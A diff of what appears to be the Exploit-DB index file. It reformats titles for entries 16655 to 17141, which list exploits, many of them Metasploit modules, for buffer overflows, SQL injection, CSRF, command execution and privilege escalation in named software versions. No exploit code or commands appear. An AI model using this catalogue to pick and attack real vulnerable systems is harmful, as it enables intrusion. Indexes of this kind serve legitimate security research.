+16655,platforms/windows/local/16655.rb,"ProShow Gold 4.0.2549 - (PSH File) Stack Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16656,platforms/windows/local/16656.rb,"Altap Salamander 2.5 PE Viewer Buffer Overflow",2010-12-16,metasploit,windows,local,0
 16657,platforms/aix/dos/16657.rb,"PointDev IDEAL Migration Buffer Overflow",2010-09-25,metasploit,aix,dos,0
 16658,platforms/windows/local/16658.rb,"VUPlayer CUE Buffer Overflow",2010-11-11,metasploit,windows,local,0
-16659,platforms/aix/local/16659.rb,"Cain & Abel <= v4.9.24 RDP Buffer Overflow",2010-11-24,metasploit,aix,local,0
+16659,platforms/aix/local/16659.rb,"Cain & Abel <= 4.9.24 - RDP Buffer Overflow",2010-11-24,metasploit,aix,local,0
 16660,platforms/windows/local/16660.rb,"Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow",2011-02-08,metasploit,windows,local,0
 16661,platforms/windows/local/16661.rb,"Audio Workstation 6.4.2.4.3 pls Buffer Overflow",2010-09-25,metasploit,windows,local,0
-16662,platforms/windows/local/16662.rb,"A-PDF WAV to MP3 v1.0.0 Buffer Overflow",2010-11-11,metasploit,windows,local,0
+16662,platforms/windows/local/16662.rb,"A-PDF WAV to MP3 1.0.0 - Buffer Overflow",2010-11-11,metasploit,windows,local,0
 16663,platforms/windows/local/16663.rb,"S.O.M.P.L 1.0 Player Buffer Overflow",2010-11-11,metasploit,windows,local,0
 16664,platforms/windows/local/16664.rb,"gAlan 0.2.1 Buffer Overflow Exploit",2010-09-25,metasploit,windows,local,0
 16665,platforms/windows/local/16665.rb,"Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16666,platforms/windows/local/16666.rb,"UltraISO CCD File Parsing Buffer Overflow",2010-04-30,metasploit,windows,local,0
 16667,platforms/windows/local/16667.rb,"Adobe Flash Player ""Button"" Remote Code Execution",2010-11-01,metasploit,windows,local,0
 16668,platforms/windows/local/16668.rb,"BACnet OPC Client Buffer Overflow",2010-11-14,metasploit,windows,local,0
-16669,platforms/windows/local/16669.rb,"Adobe Illustrator CS4 v14.0.0",2010-09-25,metasploit,windows,local,0
+16669,platforms/windows/local/16669.rb,"Adobe Illustrator CS4 14.0.0 - Postscript (.eps) Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16670,platforms/windows/local/16670.rb,"Adobe Acrobat Bundled LibTIFF Integer Overflow",2010-09-25,metasploit,windows,local,0
 16671,platforms/windows/local/16671.rb,"Adobe PDF Embedded EXE Social Engineering",2010-12-16,metasploit,windows,local,0
 16672,platforms/windows/local/16672.rb,"Adobe JBIG2Decode Memory Corruption Exploit",2010-09-25,metasploit,windows,local,0
-16673,platforms/windows/local/16673.rb,"Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow",2010-11-11,metasploit,windows,local,0
+16673,platforms/windows/local/16673.rb,"Digital Music Pad 8.2.3.3.4 - Stack Buffer Overflow",2010-11-11,metasploit,windows,local,0
 16674,platforms/windows/local/16674.rb,"Adobe Collab.collectEmailInfo() Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16675,platforms/windows/local/16675.rb,"AstonSoft DeepBurner (DBR File) Path Buffer Overflow",2010-09-20,metasploit,windows,local,0
 16676,platforms/windows/local/16676.rb,"Mini-Stream 3.0.1.1 Buffer Overflow Exploit",2011-01-08,metasploit,windows,local,0
 16677,platforms/windows/local/16677.rb,"CA Antivirus Engine CAB Buffer Overflow",2010-11-11,metasploit,windows,local,0
 16678,platforms/windows/local/16678.rb,"VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow",2010-09-20,metasploit,windows,local,0
-16679,platforms/windows/local/16679.rb,"Nuance PDF Reader v6.0 Launch Stack Buffer Overflow",2011-01-08,metasploit,windows,local,0
+16679,platforms/windows/local/16679.rb,"Nuance PDF Reader 6.0 - Launch Stack Buffer Overflow",2011-01-08,metasploit,windows,local,0
 16680,platforms/windows/local/16680.rb,"Microsoft Visual Basic VBP Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16681,platforms/windows/local/16681.rb,"Adobe Collab.getIcon() Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16682,platforms/windows/local/16682.rb,"Adobe PDF Escape EXE Social Engineering (No JavaScript)",2010-12-16,metasploit,windows,local,0
@@ -14471,7 +14471,7 @@ id,file,description,date,author,platform,type,port
 16686,platforms/windows/local/16686.rb,"Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)",2011-03-04,metasploit,windows,local,0
 16687,platforms/windows/local/16687.rb,"Adobe Flash Player ""newfunction"" Invalid Pointer Use",2010-09-25,metasploit,windows,local,0
 16688,platforms/windows/local/16688.rb,"Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow",2010-11-24,metasploit,windows,local,0
-16689,platforms/windows/remote/16689.rb,"CCProxy <= v6.2 Telnet Proxy Ping Overflow",2010-04-30,metasploit,windows,remote,23
+16689,platforms/windows/remote/16689.rb,"CCProxy <= 6.2 - Telnet Proxy Ping Overflow",2010-04-30,metasploit,windows,remote,23
 16690,platforms/windows/remote/16690.rb,"Qbik WinGate WWW Proxy Server URL Processing Overflow",2010-09-20,metasploit,windows,remote,80
 16691,platforms/windows/remote/16691.rb,"Blue Coat WinProxy Host Header Overflow",2010-07-12,metasploit,windows,remote,80
 16692,platforms/windows/remote/16692.rb,"Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow",2010-09-20,metasploit,windows,remote,3128
@@ -14484,13 +14484,13 @@ id,file,description,date,author,platform,type,port
 16699,platforms/windows/remote/16699.rb,"Outlook ATTACH_BY_REF_RESOLVE File Execution",2010-09-20,metasploit,windows,remote,0
 16700,platforms/windows/remote/16700.rb,"Outlook ATTACH_BY_REF_ONLY File Execution",2010-09-20,metasploit,windows,remote,0
 16701,platforms/windows/remote/16701.rb,"MySQL yaSSL SSL Hello Message Buffer Overflow",2010-05-09,metasploit,windows,remote,3306
-16702,platforms/windows/remote/16702.rb,"KarjaSoft Sami FTP Server v2.02 USER Overflow",2010-04-30,metasploit,windows,remote,21
+16702,platforms/windows/remote/16702.rb,"KarjaSoft Sami FTP Server 2.02 - USER Overflow",2010-04-30,metasploit,windows,remote,21
 16703,platforms/windows/remote/16703.rb,"GlobalSCAPE Secure FTP Server Input Overflow",2010-10-05,metasploit,windows,remote,0
 16704,platforms/windows/remote/16704.rb,"LeapFTP 3.0.1 Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
-16705,platforms/windows/remote/16705.rb,"Seagull FTP v3.3 build 409 Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
+16705,platforms/windows/remote/16705.rb,"Seagull FTP 3.3 build 409 - Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
 16706,platforms/windows/remote/16706.rb,"War-FTPD 1.65 Password Overflow",2010-07-03,metasploit,windows,remote,0
 16707,platforms/windows/remote/16707.rb,"freeFTPd 1.0 Username Overflow",2010-07-03,metasploit,windows,remote,0
-16708,platforms/windows/remote/16708.rb,"LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow",2010-04-30,metasploit,windows,remote,0
+16708,platforms/windows/remote/16708.rb,"LeapWare LeapFTP 2.7.3.600 - PASV Reply Client Overflow",2010-04-30,metasploit,windows,remote,0
 16709,platforms/windows/remote/16709.rb,"ProFTP 2.9 Banner Remote Buffer Overflow Exploit",2010-07-03,metasploit,windows,remote,0
 16710,platforms/windows/remote/16710.rb,"Trellian FTP Client 3.01 PASV Remote Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16711,platforms/windows/remote/16711.rb,"EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow",2010-07-27,metasploit,windows,remote,0
@@ -14507,7 +14507,7 @@ id,file,description,date,author,platform,type,port
 16722,platforms/windows/remote/16722.rb,"Xlink FTP Client Buffer Overflow",2010-11-11,metasploit,windows,remote,0
 16723,platforms/windows/remote/16723.rb,"Vermillion FTP Daemon PORT Command Memory Corruption",2010-09-20,metasploit,windows,remote,0
 16724,platforms/windows/remote/16724.rb,"War-FTPD 1.65 Username Overflow",2010-07-03,metasploit,windows,remote,0
-16725,platforms/windows/remote/16725.rb,"FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)",2010-11-14,metasploit,windows,remote,0
+16725,platforms/windows/remote/16725.rb,"FTPGetter Standard 3.55.0.05 - Stack Buffer Overflow (PWD)",2010-11-14,metasploit,windows,remote,0
 16726,platforms/windows/remote/16726.rb,"FTPPad 1.2.0 Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
 16727,platforms/windows/remote/16727.rb,"Sasser Worm avserve FTP PORT Buffer Overflow",2010-04-30,metasploit,windows,remote,5554
 16728,platforms/windows/remote/16728.rb,"Gekko Manager FTP Client Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
@@ -14520,7 +14520,7 @@ id,file,description,date,author,platform,type,port
 16735,platforms/windows/remote/16735.rb,"NetTerm NetFTPD USER Buffer Overflow",2010-10-05,metasploit,windows,remote,0
 16736,platforms/windows/remote/16736.rb,"FTPShell 5.1 Stack Buffer Overflow",2010-11-14,metasploit,windows,remote,0
 16737,platforms/windows/remote/16737.rb,"EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow",2010-04-30,metasploit,windows,remote,0
-16738,platforms/windows/remote/16738.rb,"AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)",2010-11-14,metasploit,windows,remote,0
+16738,platforms/windows/remote/16738.rb,"AASync 2.2.1.0 - (Win32) Stack Buffer Overflow (LIST)",2010-11-14,metasploit,windows,remote,0
 16739,platforms/windows/remote/16739.rb,"Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit",2010-04-30,metasploit,windows,remote,21
 16740,platforms/windows/remote/16740.rb,"Microsoft IIS FTP Server NLST Response Overflow",2010-11-12,metasploit,windows,remote,21
 16741,platforms/windows/remote/16741.rb,"Texas Imperial Software WFTPD 3.23 SIZE Overflow",2010-06-22,metasploit,windows,remote,0
@@ -14604,7 +14604,7 @@ id,file,description,date,author,platform,type,port
 16819,platforms/windows/remote/16819.rb,"SoftiaCom WMailserver 1.0 Buffer Overflow",2010-05-09,metasploit,windows,remote,25
 16820,platforms/windows/remote/16820.rb,"MS03-046 Exchange 2000 XEXCH50 Heap Overflow",2010-11-11,metasploit,windows,remote,25
 16821,platforms/windows/remote/16821.rb,"Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow",2010-06-22,metasploit,windows,remote,25
-16822,platforms/windows/remote/16822.rb,"TABS MailCarrier v2.51 SMTP EHLO Overflow",2010-04-30,metasploit,windows,remote,25
+16822,platforms/windows/remote/16822.rb,"TABS MailCarrier 2.51 - SMTP EHLO Overflow",2010-04-30,metasploit,windows,remote,25
 16823,platforms/windows/remote/16823.rb,"Network Associates PGP KeyServer 7 LDAP Buffer Overflow",2010-11-14,metasploit,windows,remote,389
 16824,platforms/windows/remote/16824.rb,"IMail LDAP Service Buffer Overflow",2010-04-30,metasploit,windows,remote,389
 16825,platforms/windows/remote/16825.rb,"CA CAM log_security() Stack Buffer Overflow (Win32)",2010-09-20,metasploit,windows,remote,0
@@ -14670,7 +14670,7 @@ id,file,description,date,author,platform,type,port
 16886,platforms/cgi/webapps/16886.rb,"AWStats (6.4-6.5) migrate Remote Command Execution",2010-07-03,metasploit,cgi,webapps,0
 16887,platforms/linux/remote/16887.rb,"HP Openview connectedNodes.ovpl Remote Command Execution",2010-07-03,metasploit,linux,remote,0
 16888,platforms/linux/remote/16888.rb,"SquirrelMail PGP Plugin command execution (SMTP)",2010-08-25,metasploit,linux,remote,0
-16889,platforms/linux/webapps/16889.rb,"Redmine SCM Repository (0.9.x, 1.0.x) Arbitrary Command Execution",2011-01-08,metasploit,linux,webapps,0
+16889,platforms/linux/webapps/16889.rb,"Redmine SCM Repository 0.9.x, 1.0.x - Arbitrary Command Execution",2011-01-08,metasploit,linux,webapps,0
 16890,platforms/php/webapps/16890.rb,"phpBB viewtopic.php Arbitrary Code Execution",2010-07-03,metasploit,php,webapps,0
 16891,platforms/cgi/webapps/16891.rb,"QuickTime Streaming Server parse_xml.cgi Remote Execution",2010-07-03,metasploit,cgi,webapps,0
 16892,platforms/php/webapps/16892.rb,"TWiki History TWikiUsers rev Parameter Command Execution",2010-07-03,metasploit,php,webapps,0
@@ -14704,7 +14704,7 @@ id,file,description,date,author,platform,type,port
 16922,platforms/linux/remote/16922.rb,"UnrealIRCD 3.2.8.1 Backdoor Command Execution",2010-12-05,metasploit,linux,remote,0
 16923,platforms/hardware/webapps/16923.rb,"ContentKeeper Web Remote Command Execution",2010-10-09,metasploit,hardware,webapps,0
 16924,platforms/linux/remote/16924.rb,"ClamAV Milter Blackhole-Mode Remote Code Execution",2010-10-09,metasploit,linux,remote,0
-16925,platforms/linux/remote/16925.rb,"Exim4 <= 4.69 string_format Function Heap Buffer Overflow",2010-12-16,metasploit,linux,remote,0
+16925,platforms/linux/remote/16925.rb,"Exim4 <= 4.69 - string_format Function Heap Buffer Overflow",2010-12-16,metasploit,linux,remote,0
 16926,platforms/windows/remote/16926.rb,"Mercantec SoftCart CGI Overflow",2010-09-20,metasploit,windows,remote,0
 16927,platforms/hp-ux/remote/16927.rb,"HP-UX LPD Command Execution",2010-10-06,metasploit,hp-ux,remote,0
 16928,platforms/linux/remote/16928.rb,"System V Derived /bin/login Extraneous Arguments Buffer Overflow",2010-07-03,metasploit,linux,remote,0
@@ -14724,10 +14724,10 @@ id,file,description,date,author,platform,type,port
 16943,platforms/windows/dos/16943.pl,"Movavi VideoSuite 8.0 SlideShow jpg Local Crash PoC",2011-03-08,KedAns-Dz,windows,dos,0
 16944,platforms/windows/dos/16944.pl,"Movavi VideoSuite 8.0 Movie Editor avi Local Crash PoC",2011-03-08,KedAns-Dz,windows,dos,0
 16945,platforms/hardware/dos/16945.pl,"Nokia N97 m3u Playlist Crash PoC",2011-03-08,KedAns-Dz,hardware,dos,0
-16946,platforms/php/webapps/16946.txt,"RuubikCMS Version 1.0.3 Multiple Vulnerabilities",2011-03-08,IRCRASH,php,webapps,0
+16946,platforms/php/webapps/16946.txt,"RuubikCMS 1.0.3 - Multiple Vulnerabilities",2011-03-08,IRCRASH,php,webapps,0
 16947,platforms/php/webapps/16947.txt,"GRAND Flash Album Gallery 0.55 Wordpress Plugin Multiple Vulnerabilities",2011-03-08,"High-Tech Bridge SA",php,webapps,0
-16948,platforms/php/webapps/16948.txt,"Esselbach Storyteller CMS System Version 1.8 SQL Injection Vulnerability",2011-03-09,Shamus,php,webapps,0
-16949,platforms/php/webapps/16949.php,"maian weblog <= v4.0 remote blind SQL injection exploit",2011-03-09,mr_me,php,webapps,0
+16948,platforms/php/webapps/16948.txt,"Esselbach Storyteller CMS System 1.8 - SQL Injection Vulnerability",2011-03-09,Shamus,php,webapps,0
+16949,platforms/php/webapps/16949.php,"maian weblog <= 4.0 - Remote Blind SQL Injection",2011-03-09,mr_me,php,webapps,0
 16950,platforms/php/webapps/16950.txt,"RecordPress 0.3.1 Multiple Vulnerabilities",2011-03-09,IRCRASH,php,webapps,0
 16951,platforms/bsd/local/16951.c,"FreeBSD <= 6.4 Netgraph Local Privledge Escalation Exploit",2011-03-10,zx2c4,bsd,local,0
 16952,platforms/linux/dos/16952.c,"Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS",2011-03-10,zx2c4,linux,dos,0
@@ -14737,7 +14737,7 @@ id,file,description,date,author,platform,type,port
 16956,platforms/windows/remote/16956.rb,"Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow",2011-03-07,metasploit,windows,remote,0
 16957,platforms/windows/remote/16957.rb,"Oracle MySQL for Microsoft Windows Payload Execution",2011-03-08,metasploit,windows,remote,0
 16959,platforms/multiple/webapps/16959.txt,"Oracle WebLogic Session Fixation Via HTTP POST",2011-03-11,"Roberto Suggi Liverani",multiple,webapps,0
-16960,platforms/linux/dos/16960.txt,"Linux NTP query client v4.2.6p1 Heap Overflow Vulnerability",2011-03-11,mr_me,linux,dos,0
+16960,platforms/linux/dos/16960.txt,"Linux NTP query client 4.2.6p1 - Heap Overflow Vulnerability",2011-03-11,mr_me,linux,dos,0
 16961,platforms/php/webapps/16961.py,"N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit",2011-03-11,TecR0c,php,webapps,0
 16962,platforms/asp/webapps/16962.txt,"SmarterStats 6.0 Multiple Vulnerabilities",2011-03-11,"Hoyt LLC Research",asp,webapps,0
 16963,platforms/php/webapps/16963.txt,"Constructr CMS 3.03 Miltiple Remote Vulnerabilities",2011-03-11,LiquidWorm,php,webapps,0
@@ -14746,9 +14746,9 @@ id,file,description,date,author,platform,type,port
 16966,platforms/linux/dos/16966.php,"PHP <= 5.3.6 shmop_read() Integer Overflow DoS",2011-03-12,"Jose Carlos Norte",linux,dos,0
 16968,platforms/php/webapps/16968.txt,"Cover Vision SQL Injection Vulnerability",2011-03-13,Egyptian.H4x0rz,php,webapps,0
 16969,platforms/php/webapps/16969.txt,"Log1 CMS 2.0 Multiple Vulnerabilities",2011-03-14,Aodrulez,php,webapps,0
-16970,platforms/windows/remote/16970.rb,"Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow",2011-08-03,metasploit,windows,remote,0
+16970,platforms/windows/remote/16970.rb,"Kolibri <= 2.0 - HTTP Server HEAD Buffer Overflow",2011-08-03,metasploit,windows,remote,0
 16971,platforms/windows/local/16971.py,"ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)",2011-03-14,Rh0,windows,local,0
-16972,platforms/hardware/remote/16972.txt,"checkview v1.1 for iPhone / iPod Touch Directory Traversal",2011-03-14,kim@story,hardware,remote,0
+16972,platforms/hardware/remote/16972.txt,"iOS Checkview 1.1 - Directory Traversal",2011-03-14,kim@story,hardware,remote,0
 16973,platforms/linux/dos/16973.c,"Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit",2011-03-14,prdelka,linux,dos,0
 16974,platforms/hardware/remote/16974.html,"Android 2.0 ,2.1, 2.1.1 WebKit Use-After-Free Exploit",2011-03-14,"MJ Keith",hardware,remote,0
 16975,platforms/asp/webapps/16975.txt,"SmarterMail 8.0 Multiple XSS Vulnerabilities",2011-03-14,"Hoyt LLC Research",asp,webapps,0
@@ -14767,8 +14767,8 @@ id,file,description,date,author,platform,type,port
 16990,platforms/multiple/remote/16990.rb,"Sun Java Applet2ClassLoader Remote Code Execution Exploit",2011-03-16,metasploit,multiple,remote,0
 16991,platforms/windows/local/16991.txt,"Microsoft Source Code Analyzer for SQL Injection 1.3 Improper Permissions",2011-03-17,LiquidWorm,windows,local,0
 16992,platforms/php/webapps/16992.txt,"Joomla! 1.6 Multiple SQL Injection Vulnerabilities",2011-03-17,"Aung Khant",php,webapps,0
-16993,platforms/hardware/remote/16993.pl,"ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution",2011-03-17,"Todor Donev",hardware,remote,0
-16995,platforms/php/webapps/16995.txt,"SQL Injection in component com_booklibrary for Joomla",2011-03-17,"Marc Doudiet",php,webapps,0
+16993,platforms/hardware/remote/16993.pl,"ACTi ASOC 2200 Web Configurator <= 2.6 - Remote Root Command Execution",2011-03-17,"Todor Donev",hardware,remote,0
+16995,platforms/php/webapps/16995.txt,"Joomla com_booklibrary - SQL Injection",2011-03-17,"Marc Doudiet",php,webapps,0
 16996,platforms/windows/dos/16996.rb,"Fake Webcam v 6.1 Local Crash PoC",2011-03-17,"Anastasios Monachos",windows,dos,0
 16997,platforms/php/webapps/16997.txt,"Tugux CMS 1.0_final Multiple Vulnerabilities",2011-03-17,Aodrulez,php,webapps,0
 16998,platforms/windows/remote/16998.rb,"RealNetworks RealPlayer CDDA URI Initialization Vulnerability",2011-03-17,metasploit,windows,remote,0
@@ -14776,7 +14776,7 @@ id,file,description,date,author,platform,type,port
 17000,platforms/php/webapps/17000.txt,"Tugux CMS (nid) BLIND Sql Injection Vulnerability",2011-03-18,eidelweiss,php,webapps,0
 17001,platforms/windows/local/17001.pl,"CORE Multimedia Suite 2011 CORE Player 2.4 Buffer Overflow (.m3u)",2011-03-18,Rh0,windows,local,0
 17002,platforms/php/webapps/17002.txt,"CMS Loko Media Local File Download Vulnerability",2011-03-18,Xr0b0t,php,webapps,0
-17003,platforms/php/webapps/17003.py,"iCMS v1.1 Admin SQLi/Bruteforce Exploit",2011-03-18,TecR0c,php,webapps,0
+17003,platforms/php/webapps/17003.py,"iCMS 1.1 - Admin SQLi/Bruteforce Exploit",2011-03-18,TecR0c,php,webapps,0
 17004,platforms/linux/dos/17004.txt,"libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)",2011-03-18,"Maksymilian Arciemowicz",linux,dos,0
 17005,platforms/php/webapps/17005.txt,"Kleophatra 0.1.4 0day Arbitrary Upload File Vulnerability",2011-03-19,Xr0b0t,php,webapps,0
 17006,platforms/php/webapps/17006.txt,"Balitbang CMS 3.3 Multiple Vulnerabilities",2011-03-19,Xr0b0t,php,webapps,0
@@ -14821,7 +14821,7 @@ id,file,description,date,author,platform,type,port
 17048,platforms/windows/remote/17048.rb,"VLC AMV Dangling Pointer Vulnerability",2011-03-26,metasploit,windows,remote,0
 17050,platforms/php/webapps/17050.txt,"Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection",2011-03-26,LiquidWorm,php,webapps,0
 17051,platforms/php/webapps/17051.txt,"SimplisCMS 1.0.3.0 Multiple Vulnerabilities",2011-03-27,NassRawI,php,webapps,0
-17053,platforms/windows/remote/17053.txt,"wodWebServer.NET 1.3.3 Directory Traversal",2011-03-27,"AutoSec Tools",windows,remote,0
+17053,platforms/windows/remote/17053.txt,"wodWebServer.NET 1.3.3 - Directory Traversal",2011-03-27,"AutoSec Tools",windows,remote,0
 17054,platforms/php/webapps/17054.txt,"webEdition CMS 6.1.0.2 Multiple Vulnerabilities",2011-03-27,"AutoSec Tools",php,webapps,0
 17055,platforms/php/webapps/17055.txt,"Honey Soft Web Solution Multiple Vulnerabilities",2011-03-28,**RoAd_KiLlEr**,php,webapps,0
 17056,platforms/php/webapps/17056.txt,"Wordpress plugin BackWPup Remote and Local Code Execution Vulnerability",2011-03-28,"Sense of Security",php,webapps,0
@@ -14830,7 +14830,7 @@ id,file,description,date,author,platform,type,port
 17061,platforms/php/webapps/17061.txt,"Andy's PHP Knowledgebase Project 0.95.4 SQL Injection",2011-03-29,"AutoSec Tools",php,webapps,0
 17062,platforms/php/webapps/17062.txt,"Claroline 1.10 Persistent XSS Vulnerability",2011-03-29,"AutoSec Tools",php,webapps,0
 17063,platforms/windows/remote/17063.txt,"Easy File Sharing Web Server 5.8 Multiple Vulnerabilities",2011-03-29,"AutoSec Tools",windows,remote,0
-17064,platforms/windows/local/17064.py,"IDEAL Administration 2011 v11.4 Local SEH Buffer Overflow Exploit",2011-03-29,Dr_IDE,windows,local,0
+17064,platforms/windows/local/17064.py,"IDEAL Administration 2011 11.4 - Local SEH Buffer Overflow Exploit",2011-03-29,Dr_IDE,windows,local,0
 17068,platforms/multiple/remote/17068.py,"jHTTPd 0.1a Directory Traversal Vulnerability",2011-03-29,"AutoSec Tools",multiple,remote,0
 17069,platforms/php/webapps/17069.txt,"osCSS2 2.1.0 RC12 Multiple Vulnerabilities",2011-03-29,"AutoSec Tools",php,webapps,0
 17070,platforms/windows/dos/17070.py,"Rumble 0.25.2232 Denial of Service Vulnerability",2011-03-29,"AutoSec Tools",windows,dos,0
@@ -14850,12 +14850,12 @@ id,file,description,date,author,platform,type,port
 17086,platforms/windows/local/17086.pl,"Word List Builder Buffer Overflow Exploit (SEH)",2011-04-01,h1ch4m,windows,local,0
 17087,platforms/windows/dos/17087.pl,"Real player 14.0.2.633 0day Buffer overflow/DOS Exploit",2011-04-01,^Xecuti0N3r,windows,dos,0
 17089,platforms/windows/dos/17089.pl,"GOM Media Player 2.1.6.3499 0Day Buffer overflow/DOS Exploit",2011-04-01,^Xecuti0N3r,windows,dos,0
-17091,platforms/php/webapps/17091.html,"Allomani E-Store 1.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
-17092,platforms/php/webapps/17092.html,"Allomani News 1.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
-17093,platforms/php/webapps/17093.html,"Allomani Movies Library 2.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
-17094,platforms/php/webapps/17094.html,"Allomani Web Links 1.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
-17095,platforms/php/webapps/17095.html,"Allomani Audio and Video Library 2.7.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
-17096,platforms/php/webapps/17096.html,"Allomani Super Multimedia Library 2.5.0 XSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17091,platforms/php/webapps/17091.html,"Allomani E-Store 1.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17092,platforms/php/webapps/17092.html,"Allomani News 1.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17093,platforms/php/webapps/17093.html,"Allomani Movies Library 2.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17094,platforms/php/webapps/17094.html,"Allomani Web Links 1.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17095,platforms/php/webapps/17095.html,"Allomani Audio and Video Library 2.7.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
+17096,platforms/php/webapps/17096.html,"Allomani Super Multimedia Library 2.5.0 - CSRF Vulnerability (Add Admin)",2011-04-01,AtT4CKxT3rR0r1ST,php,webapps,0
 17097,platforms/bsd/dos/17097.c,"IPComp encapsulation pre-auth kernel memory corruption",2011-04-01,"Tavis Ormandy",bsd,dos,0
 17098,platforms/php/webapps/17098.txt,"InTerra Blog Machine 1.84 XSS Vulnerability",2011-04-01,"High-Tech Bridge SA",php,webapps,0
 17099,platforms/php/webapps/17099.txt,"Feng Office 1.7.3.3 CSRF Vulnerability",2011-04-01,"High-Tech Bridge SA",php,webapps,0
@@ -14879,25 +14879,25 @@ id,file,description,date,author,platform,type,port
 17118,platforms/php/webapps/17118.txt,"OpenEMR 4.0.0 Multiple Vulnerabilities",2011-04-05,"AutoSec Tools",php,webapps,0
 17119,platforms/php/webapps/17119.txt,"WordPress WP Custom Pages Plugin 0.5.0.1 LFI Vulnerability",2011-04-05,"AutoSec Tools",php,webapps,0
 17120,platforms/multiple/dos/17120.c,"GNU glibc < 2.12.2 'fnmatch()' Function Stack Corruption Vulnerability",2011-02-25,"Simon Berry-Byrne",multiple,dos,0
-17123,platforms/php/webapps/17123.txt,"TutorialMS v1.4 (show) Remote SQL Injection Vulnerability",2011-04-05,LiquidWorm,php,webapps,0
+17123,platforms/php/webapps/17123.txt,"TutorialMS 1.4 (show) - Remote SQL Injection Vulnerability",2011-04-05,LiquidWorm,php,webapps,0
 17124,platforms/windows/local/17124.pl,"MPlayer (r33064 Lite) Buffer Overflow + ROP exploit",2011-04-06,Nate_M,windows,local,0
 17125,platforms/php/webapps/17125.txt,"Dream Vision Technologies Web Portal SQL Injection Vulnerability",2011-04-06,eXeSoul,php,webapps,0
 17126,platforms/php/webapps/17126.html,"Graugon Forum 1.3 SQL Injection Vulnerability",2011-04-06,"AutoSec Tools",php,webapps,0
 17127,platforms/php/webapps/17127.txt,"eyeOS 2.3 Multiple Vulnerabilities",2011-04-06,"AutoSec Tools",php,webapps,0
 17128,platforms/php/webapps/17128.txt,"GreenPants 0.1.7 Multiple Vulnerabilities",2011-04-06,"Ptrace Security",php,webapps,0
 17129,platforms/php/webapps/17129.txt,"S40 CMS 0.4.2b LFI Vulnerability",2011-04-07,Osirys,php,webapps,0
-17132,platforms/php/webapps/17132.py,"Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit",2011-04-08,"TecR0c and mr_me",php,webapps,0
+17132,platforms/php/webapps/17132.py,"Joomla! com_virtuemart <= 1.1.7 - Blind SQL Injection Exploit",2011-04-08,"TecR0c and mr_me",php,webapps,0
 17133,platforms/windows/dos/17133.c,"Microsoft Windows xp AFD.sys Local Kernel DoS Exploit",2011-04-08,"Lufeng Li",windows,dos,0
 17134,platforms/php/webapps/17134.txt,"phpCollab 2.5 Multiple Vulnerabilities",2011-04-08,"High-Tech Bridge SA",php,webapps,0
 17135,platforms/php/webapps/17135.txt,"Viscacha 0.8.1 Multiple Vulnerabilities",2011-04-08,"High-Tech Bridge SA",php,webapps,0
 17136,platforms/php/webapps/17136.txt,"Joomla JCE Component (com_jce) Blind SQL Injection Vulnerability",2011-04-09,eidelweiss,php,webapps,0
-17137,platforms/php/webapps/17137.txt,"NooMS CMS version 1.1.1 CSRF",2011-04-09,loneferret,php,webapps,0
+17137,platforms/php/webapps/17137.txt,"NooMS CMS 1.1.1 - CSRF",2011-04-09,loneferret,php,webapps,0
 17140,platforms/multiple/dos/17140.txt,"Libmodplug ReadS3M Stack Overflow",2011-04-09,"SEC Consult",multiple,dos,0
-17141,platforms/php/webapps/17141.txt,"Point Market System 3.1x vbulletin plugin SQLi  Vulnerability",2011-04-10,Net.Edit0r,php,webapps,0
